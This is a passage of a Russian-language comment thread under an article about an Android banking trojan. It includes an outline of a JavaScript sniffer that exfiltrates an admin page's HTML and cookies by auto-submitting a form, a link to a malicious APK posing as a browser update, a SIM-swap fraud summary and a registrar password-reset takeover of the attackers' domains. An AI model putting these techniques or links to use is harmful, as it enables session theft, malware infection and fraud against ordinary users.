              Не, он другого рода. Фонарик им не включишь на Home-кнопку на экране блокировки.
          • 0
            Тут пожалуй уже если у вас Nexus или хотя бы что-то на МТК с чистым андроидом. Чистый андроид — обязательно. Я долгое время переводил GravityBox на русский и до сих пор слежу за развитием. Разработчик молодец, мой старый китаец получил кучу фишек даже без кастомных прошивок.
  • +1
    > В целом, происходило то, что описано было описано в недавней статье про способ воровства денег клиентов Сбербанка, но автоматизированно.
    А можно ссылку на статью? Не могу найти.
    • +2
      Тоже не смог найти.
      Скорее всего выпилили.
      Краткая суть истории:
      — кто-то левый «восстановил» сим-ку (косяк оператора)
      — все подключенные сервисы Сбербанка «слетели» кроме sms-банкинга на номер 900 (косяк СберБанка)
      — через sms-банкинг перевели деньги на Qiwi и обналичили.
    • 0
      habrahabr.ru/post/233913/ (сейчас удалена, но гугл еще помнит)
      • +16
      • 0
        . мну опоздун
        • +20
          Мнёте, значит?
      • +9
        Интересно, почему удалена?
      • +5
        Интересно, почему именно статья удалена?
        Само по себе явление не ново, можно посмотреть на банки.ру…
        • +6
          Администрация не хочет распугивать спонсоров, ну и «Хабр — не жалобная книга.».
    • 0
      Удалено из-за дублирования.
      • 0
        А на дубликат можно взглянуть?
        • 0
          Да, собственно, ссылку на sohabr.ru/post/233913/ привел. А потом увидел, что ниже целая очередь таких тормозов скопилась)
          • 0
            А я подумал, что дублирование на хабре :)
            В смысле, удалено с хабра, но есть дубликат на хабре.
  • +1
    Автор, молодец! Мне тоже пришло это, но я ограничился отправкой apk онлайн-антивирусу.
  • +8
    Если уж делали сниффер на js, то можно было и код всей админки слить — не серверный, разумеется, а тот, что в браузере(document.getElementsByTagName('html')[0].innerHTML в сочетании с созданием формы с method=post и автосабмитом кода админки как одного из полей), и user-agent (navigator) узнать, и адрес админки (location и иже с ним), и доступ в нее соответственно (cookie).
  • +2
    Автор молодец, что отправил номера куда надо
  • –2
    а что там за sandbox? дайте посмотреть, пожалуйста
  • +1
    Интересно, наверное, быть злоумышленником
    • +3
      Таким наверно не очень интересно. Просто говнокод дабы достичь цель и не более… никаких вызовов способностям… или вызов все же был, в том чтобы освоить среду программирования и технологию ctrl-c/ctrl-v?
      • 0
        А если это такой хитрый способ отвести подозрения, замаскировав всё под говнокод?
        • +3
          нет, специалисту высокого уровня весьма сложно имитировать говнокод…
          Так же как гениальному профессору будет весьма непросто прикидываться дурачком, у него же на лице все написано будет.
          • 0
            Спец. высокого уровня и не придумает, как .apk слать рассылкой, не скрывая номеров к СБ Онлайн и других номеров, причем следы останутся, при обнале по тройке операторов… А тех кто налит, по пальцам пересчитать)
      • +1
        Ну а если отбросить моральную составляющую? Тем более, вы сами сказали — «чтобы достичь цель». Разве это не показатель разумности? Петя 5 лет проичится в институте, а Вася полторы недели поковырялся в исходниках и по форумам… Вася решил задачу, а Петя сдает сессию и готовится перейти на второй курс. Я утрирую и более того — сам на вашей стороне. Но посмотрите, логика против нас.

        И потом — я имел в виду общий стиль жизни. Читая пост, я представлял себе какого-нибудь невыспавшегося парня, у которого в комнате непременно должна быть серверная стойка, куча проводов и что-то мигающее на разные лады (не знаю, зачем). А еще обстановка нависающей опасности… и вот, одномоментно он скидывает все активы на один счет… опасность свинцовым грузом зреет во лбу… счет идет на часы — надо снять все деньги, хватать рюкзак и если все выгорит — уже сегодня он полетит в Буркина Фасо.

        Нет, не кажется романтичным?
        • 0
          Этакий «ковбой» из произведений Уильяма Гибсона :)
        • +10
          Со стороны — да. Кто сам бывал в такой ситуации — тому нет. Это как с войной/тюрьмой/дракой в темной подворотне — в книгах и фильмах романтично. В жизни — больно, мерзко и пиздец как страшно.
        • +2
          «Мальчишник в Вегасе» — смешная комедия. Но когда с тобой случалось что-то подобное — смотришь фильм с грустной ухмылкой.
          До сих пор не понимаю, как могут люди жить понимая, что за ними в любой момент могут прийти. С моей точки зрения — это душевный садомазохизм.

          ПС: Выше dimakovalenko очень хорошо про войну и драку написал.
          • –3
            В тот момент, когда обстановка опасности тяжко нависает, жизнь приобретает совершенно другой вкус и смысл. Можно сказать «не понимаю, как можно жить в обстановке, когда за тобой могут прийти», а кто-то скажет «до сих пор не понимаю, как можно жить, когда никому до тебя нет дела». Преступник преступнику рознь, и воровать нехорошо… но в последнее время общаться со среднестатистическим прохиндеем мне гораздо интереснее, чем с обывателем.
            • +2
              Ну кому-то не хватает острых ощущений, да. Есть такие люди. Кто-то ради адреналина прыгает с моста, кто-то идет добровольцем на войну (хорошо показано в фильме «Повелитель бури», особенно как он в супермаркете детское питание выбирал — сильная сцена). Ну а кто-то становится на путь криминала — такие тоже есть.
  • 0
    Если вдруг станет скучно, вот ещё один вариант: ru.androidbrowser.biz/Browser_update.apk

    Только что прилетела ссылка на сайт, говорящий, что мне доставлена посылка, с ссылкой на pochtaruss.net. При переходе с любого другого браузера редирект на сайт почты россии, если прикинуться андроидом, то редирект на левый сайт, где предлагают обновить мобильный браузер, изменив настройки безопасности.
    • +3
      У нас тут веселье не в самом разгаре, но имеется. Но посмотрим, спасибо!
  • +1
    Отписывайтся, пожалуйста, господа взломщики, как у вас там дела. Интересно же)
    • +3
      Ну, тогда еще и всех «подписавшихся» кастанем: Magistr_AVSH, may-cat
      Сервер отключили, на этот раз навсегда. Ко мне в скайп стукнулась девушка, которая пострадала от этого вируса на 11 тысяч рублей. Если получится провернуть одну интересную штуку, то напишу подробнее о ней, а если нет, ну и ладно.
      • +2
        Это точно пострадавшая девушка?
        Может, это он.
      • 0
        Подписываюсь ещё раз, если даже не провернете, хотя бы кратко опишите в соавторстве как отключили навсегда :)
        • 0
          Навсегда такие вещи не отключаются, увы. Погадал по whois и комментариям в группе Авито — эти перцы работают с середины-конца декабря 2013 (и, скорее всего, будут работать, потому что прибыльно)
          • 0
            Насколько я знаю, подобные дельцы обдирающие сограждан, всё же получают свой ататат через некоторое количество времени, а так же бонус в виде лишения свободы :)
      • +7
        • +5
          Доктор, откуда у вас такие картинки?
        • +2
          Расскажете как?
          • +1
            Домены были зарегистрированы на email-адреса, которые никогда не были зарегистрированы. Мы их зарегистрировали и восстановили пароль у регистратора.
        • 0
          Ничо такая стата: за месяц 2000 прямых заходов и 1500 с хабра
          Счетчик один на всех сайтах?
          • 0
            Да

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.